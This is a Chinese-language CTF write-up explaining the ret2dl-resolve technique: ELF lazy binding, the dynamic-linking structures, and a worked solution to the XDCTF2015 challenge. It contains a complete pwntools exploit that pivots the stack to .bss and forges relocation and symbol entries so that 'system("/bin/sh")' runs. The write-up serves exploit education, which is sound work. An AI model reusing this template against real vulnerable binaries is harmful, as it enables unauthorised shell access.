pwn-ret2dl-resolve

0x00:漏洞介绍

ret2dl-resovle这种技术在pwn中的运用也挺多的,可以类比Windows下的IAT技术进行学习,了解这个技术之前,我们需要知道ELF文件中各个函数的加载过程,下面就演示一下GOT表是如何加载的,首先我们编译一个简单的程序

#include 
int main()
{
    puts("Hello Pwn\n");
    return 0;
}//gcc -m32 -fno-stack-protector -no-pie -s hellopwn.c

我们在puts函数下一个断点,观察是如何调用这个函数的

thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ gdb a.out
...
pwndbg> b *0x080482e0
Breakpoint 1 at 0x80482e0
pwndbg> r
Starting program: /home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out 

Breakpoint 1, 0x080482e0 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────
 EAX  0x804a000 —▸ 0x8049f14 ◂— 0x1
 EBX  0x804a000 —▸ 0x8049f14 ◂— 0x1
 ECX  0xffffbdb0 ◂— 0x1
 EDX  0x80484f0 ◂— dec    eax /* 'Hello Pwn\n' */
 EDI  0x0
 ESI  0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
 EBP  0xffffbd98 ◂— 0x0
 ESP  0xffffbd7c —▸ 0x8048450 ◂— add    esp, 0x10
 EIP  0x80482e0 (puts@plt) ◂— jmp    dword ptr [0x804a00c]
────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
 ► 0x80482e0  <puts@plt>                  jmp    dword ptr [0x804a00c]
 
   0x80482e6  <puts@plt+6>                push   0
   0x80482eb  <puts@plt+11>               jmp    0x80482d0
    ↓
   0x80482d0                              push   dword ptr [0x804a004]
   0x80482d6                              jmp    dword ptr [0x804a008] <0xf7fead80>
    ↓
   0xf7fead80 <_dl_runtime_resolve>       push   eax
   0xf7fead81 <_dl_runtime_resolve+1>     push   ecx
   0xf7fead82 <_dl_runtime_resolve+2>     push   edx
   0xf7fead83 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
   0xf7fead87 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
   0xf7fead8b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe4f30>
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffbd7c —▸ 0x8048450 ◂— add    esp, 0x10
01:0004│      0xffffbd80 —▸ 0x80484f0 ◂— dec    eax /* 'Hello Pwn\n' */
02:0008│      0xffffbd84 —▸ 0xffffbe44 —▸ 0xffffbfdb ◂— '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'
03:000c│      0xffffbd88 —▸ 0xffffbe4c —▸ 0xffffc00e ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│      0xffffbd8c —▸ 0x804843a ◂— add    eax, 0x1bc6
05:0014│      0xffffbd90 —▸ 0xffffbdb0 ◂— 0x1
06:0018│      0xffffbd94 ◂— 0x0
... ↓
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► f 0  80482e0 puts@plt
   f 1  8048450
   f 2 f7deee81 __libc_start_main+241
Breakpoint *0x080482e0

可以发现,0x80482e6这个地址,并不直接是libc的puts函数的地址。这是因为linux在程序加载时使用了延迟绑定(lazy
load),只有等到这个函数被调用了,才去把这个函数在libc的地址放到GOT表中。接下来,会再push一个0,再push一个dword ptr [0x804a004],待会会说这两个参数是什么意思,最后跳到libc的_dl_runtime_resolve去执行。这个函数的目的,是根据2个参数获取到导出函数(这里是puts)的地址,然后放到相应的GOT表,并且调用它。而这个函数的地址也是从GOT表取并且jmp [xxx]过去的,但是这个函数不会延迟绑定,因为所有函数都是用它做的延迟绑定。懂得了上面的东西,我们还需要知道一些结构体,类比PE文件的一些结构,用来索引一些结构。

.dynamic

dynamic结构包含了一些关于动态链接的关键信息,我们只需要关注DT_STRTAB, DT_SYMTAB, DT_JMPREL这三个字段,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针

LOAD:08049F14                   ; ELF Dynamic Information
LOAD:08049F14                   ; ===========================================================================
LOAD:08049F14
LOAD:08049F14                   ; Segment type: Pure data
LOAD:08049F14                   ; Segment permissions: Read/Write
LOAD:08049F14                   LOAD segment mempage public 'DATA' use32
LOAD:08049F14                   assume cs:LOAD
LOAD:08049F14 01 00 00 00 01 00+stru_8049F14 Elf32_Dyn <1, <1>>
LOAD:08049F14 00 00                                           ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14                                                 ; .got.plt:0804A000↓o
LOAD:08049F14                                                 ; DT_NEEDED libc.so.6
LOAD:08049F1C 0C 00 00 00 A8 82+Elf32_Dyn <0Ch, <80482A8h>>   ; DT_INIT
LOAD:08049F24 0D 00 00 00 D4 84+Elf32_Dyn <0Dh, <80484D4h>>   ; DT_FINI
LOAD:08049F2C 19 00 00 00 0C 9F+Elf32_Dyn <19h, <8049F0Ch>>   ; DT_INIT_ARRAY
LOAD:08049F34 1B 00 00 00 04 00+Elf32_Dyn <1Bh, <4>>          ; DT_INIT_ARRAYSZ
LOAD:08049F3C 1A 00 00 00 10 9F+Elf32_Dyn <1Ah, <8049F10h>>   ; DT_FINI_ARRAY
LOAD:08049F44 1C 00 00 00 04 00+Elf32_Dyn <1Ch, <4>>          ; DT_FINI_ARRAYSZ
LOAD:08049F4C F5 FE FF 6F AC 81+Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:08049F54 05 00 00 00 1C 82+Elf32_Dyn <5, <804821Ch>>     ; DT_STRTAB
LOAD:08049F5C 06 00 00 00 CC 81+Elf32_Dyn <6, <80481CCh>>     ; DT_SYMTAB
LOAD:08049F64 0A 00 00 00 4A 00+Elf32_Dyn <0Ah, <4Ah>>        ; DT_STRSZ
LOAD:08049F6C 0B 00 00 00 10 00+Elf32_Dyn <0Bh, <10h>>        ; DT_SYMENT
LOAD:08049F74 15 00 00 00 00 00+Elf32_Dyn <15h, <0>>          ; DT_DEBUG
LOAD:08049F7C 03 00 00 00 00 A0+Elf32_Dyn <3, <804A000h>>     ; DT_PLTGOT
LOAD:08049F84 02 00 00 00 10 00+Elf32_Dyn <2, <10h>>          ; DT_PLTRELSZ
LOAD:08049F8C 14 00 00 00 11 00+Elf32_Dyn <14h, <11h>>        ; DT_PLTREL
LOAD:08049F94 17 00 00 00 98 82+Elf32_Dyn <17h, <8048298h>>   ; DT_JMPREL
LOAD:08049F9C 11 00 00 00 90 82+Elf32_Dyn <11h, <8048290h>>   ; DT_REL
LOAD:08049FA4 12 00 00 00 08 00+Elf32_Dyn <12h, <8>>          ; DT_RELSZ
LOAD:08049FAC 13 00 00 00 08 00+Elf32_Dyn <13h, <8>>          ; DT_RELENT
LOAD:08049FB4 FE FF FF 6F 70 82+Elf32_Dyn <6FFFFFFEh, <8048270h>> ; DT_VERNEED
LOAD:08049FBC FF FF FF 6F 01 00+Elf32_Dyn <6FFFFFFFh, <1>>    ; DT_VERNEEDNUM
LOAD:08049FC4 F0 FF FF 6F 66 82+Elf32_Dyn <6FFFFFF0h, <8048266h>> ; DT_VERSYM
LOAD:08049FCC 00 00 00 00 00 00+Elf32_Dyn <0>                 ; DT_NULL

.dynstr

.dynstr是一个字符串表,index[0]的地方永远是0,然后后面是动态链接所需的字符串,以0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x804821C的偏移。

LOAD:0804821C                   ; ELF String Table
LOAD:0804821C 00                byte_804821C db 0             ; DATA XREF: LOAD:080481DC↑o
LOAD:0804821C                                                 ; LOAD:080481EC↑o
LOAD:0804821C                                                 ; LOAD:080481FC↑o
LOAD:0804821C                                                 ; LOAD:0804820C↑o
LOAD:0804821D 6C 69 62 63 2E 73+aLibcSo6 db 'libc.so.6',0
LOAD:08048227 5F 49 4F 5F 73 74+aIoStdinUsed db '_IO_stdin_used',0
LOAD:08048227 64 69 6E 5F 75 73+                              ; DATA XREF: LOAD:0804820C↑o
LOAD:08048236 70 75 74 73 00    aPuts db 'puts',0             ; DATA XREF: LOAD:080481DC↑o
LOAD:0804823B 5F 5F 6C 69 62 63+aLibcStartMain db '__libc_start_main',0
LOAD:0804823B 5F 73 74 61 72 74+                              ; DATA XREF: LOAD:080481FC↑o
LOAD:0804824D 47 4C 49 42 43 5F+aGlibc20 db 'GLIBC_2.0',0
LOAD:08048257 5F 5F 67 6D 6F 6E+aGmonStart db '__gmon_start__',0
LOAD:08048257 5F 73 74 61 72 74+                              ; DATA XREF: LOAD:080481EC↑o

.dynsym

结构如下,这是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比如puts函数。结构体定义如下

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

在IDA中显示如下

LOAD:080481CC                   ; ELF Symbol Table
LOAD:080481CC 00 00 00 00 00 00+Elf32_Sym <0>
LOAD:080481DC 1A 00 00 00 00 00+Elf32_Sym  ; "puts"
LOAD:080481EC 3B 00 00 00 00 00+Elf32_Sym  ; "__gmon_start__"
LOAD:080481FC 1F 00 00 00 00 00+Elf32_Sym  ; "__libc_start_main"
LOAD:0804820C 0B 00 00 00 EC 84+Elf32_Sym  ; "_IO_stdin_used"

.rel.plt

这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

typedef struct
{
  Elf32_Addr    r_offset; //指向GOT表的指针
  Elf32_Word    r_info; //重定位入口的类型和符号
} Elf32_Rel;

在IDA中显示如下

LOAD:08048298                   ; ELF JMPREL Relocation Table
LOAD:08048298 0C A0 04 08 07 01+Elf32_Rel <804A00Ch, 107h>    ; R_386_JMP_SLOT puts
LOAD:080482A0 10 A0 04 08 07 03+Elf32_Rel <804A010h, 307h>    ; R_386_JMP_SLOT __libc_start_main
LOAD:080482A0 00 00             LOAD ends

上面的结构体看起来也挺迷糊人的,我只是根据一位大佬的文章总结过来的,下面才是我们需要清楚的关键函数 _dl_runtime_resolve(link_map_obj, reloc_index) ,源码可以在这里下载。

_dl_runtime_resolve函数运行模式如下:

  1. 用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

利用方法主要是伪造rel.plt表和symtab表,并且修改reloc_argc,让重定位函数解析我们伪造的结构体,借此修改符号解析的位置,对于一些字段的获取,我们可以用objdump来寻找,如下图

thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .rel.plt ./main

./main:     文件格式 elf32-i386

Contents of section .rel.plt:
 8048330 0ca00408 07010000 10a00408 07020000  ................
 8048340 14a00408 07040000 18a00408 07050000  ................
 8048350 1ca00408 07060000                    ........        
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynsym ./main

./main:     文件格式 elf32-i386

Contents of section .dynsym:
 80481d8 00000000 00000000 00000000 00000000  ................
 80481e8 33000000 00000000 00000000 12000000  3...............
 80481f8 27000000 00000000 00000000 12000000  '...............
 8048208 52000000 00000000 00000000 20000000  R........... ...
 8048218 20000000 00000000 00000000 12000000   ...............
 8048228 3a000000 00000000 00000000 12000000  :...............
 8048238 4c000000 00000000 00000000 12000000  L...............
 8048248 2c000000 44a00408 04000000 11001a00  ,...D...........
 8048258 0b000000 3c860408 04000000 11001000  ....<...........
 8048268 1a000000 40a00408 04000000 11001a00  ....@...........
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynstr ./main

./main:     文件格式 elf32-i386

Contents of section .dynstr:
 8048278 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s
 8048288 7464696e 5f757365 64007374 64696e00  tdin_used.stdin.
 8048298 7374726c 656e0072 65616400 7374646f  strlen.read.stdo
 80482a8 75740073 65746275 66005f5f 6c696263  ut.setbuf.__libc
 80482b8 5f737461 72745f6d 61696e00 77726974  _start_main.writ
 80482c8 65005f5f 676d6f6e 5f737461 72745f5f  e.__gmon_start__
 80482d8 00474c49 42435f32 2e3000             .GLIBC_2.0.     

0x01:例子

题目链接

首先检查保护机制

thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ checksec main
[*] '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/main'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  char buf[4]; // [esp+0h] [ebp-6Ch]
  char v6; // [esp+18h] [ebp-54h]
  int *v7; // [esp+64h] [ebp-8h]

  v7 = &argc;
  strcpy(buf, "Welcome to XDCTF2015~!\n");
  memset(&v6, 0, 0x4Cu);
  setbuf(stdout, buf);
  v3 = strlen(buf);
  write(1, buf, v3);
  vuln();
  return 0;
}

vuln

ssize_t vuln()
{
  char buf; // [esp+Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);
}

题目思路非常清晰,read函数存在栈溢出,但是没有libc,ROPgadget也很少,这里就可以考虑ret2dl-resolve,我们先将栈转移到bss段,然后构造结构体,实现对system函数的解析,然后getshell

第一处payload负责栈转移,将eip覆盖为.rel.plt地址,传递一个可控的rel_offset,使rel_entry落在可控区域

payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

第二处的payload负责伪造rel_entry使sym_entry落在可控区域,伪造sym_entry使sym_name为‘system’

payload2 = p32(0x0) # pop ebp, 随便设反正不用了
payload2 += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面说的push link_map那个位置
payload2 += p32(FAKE_REL_OFF) # 伪造的重定位表OFFSET
payload2 += p32(0xdeadbeef) # 返回地址
payload2 += p32(bin_sh) # 参数'/bin/sh'
payload2 += fake_rel_plt + fake_dynsym + fake_dynstr

exp

from pwn import *

r = process('./main')
elf = ELF('./main')
#r = remote("",)

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
    gdb.attach(r)

rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr

bss_addr = 0x804a300 # readelf -S main => .bss
DYN_RESOL_PLT = 0x8048380 # readelf -S main => .plt
leave_ret = 0x08048458 # ROPgadget --binary main --only "leave|ret"

fake_rel_plt_addr = bss_addr
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh = fake_dynstr_addr + 0x7

FAKE_REL_OFF = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_off = fake_dynstr_addr - dynstr_addr

payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

r.recvuntil('!\n')
r.sendline(payload) # stack immigration

fake_rel_plt = p32(elf.got['read'])+p32(r_info)
fake_dynsym = p32(str_off) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"

payload2 = p32(0x0) + p32(DYN_RESOL_PLT) + p32(FAKE_REL_OFF) + p32(0xdeadbeef) + p32(bin_sh) + fake_rel_plt + fake_dynsym + fake_dynstr

r.sendline(payload2) # construct a fake structure

r.interactive()

0x02:总结

这个脚本可以保存一份,以后遇到类似的题目可以直接套用脚本

参考链接:
https://bbs.pediy.com/thread-227034.htm

你可能感兴趣的:(题目篇)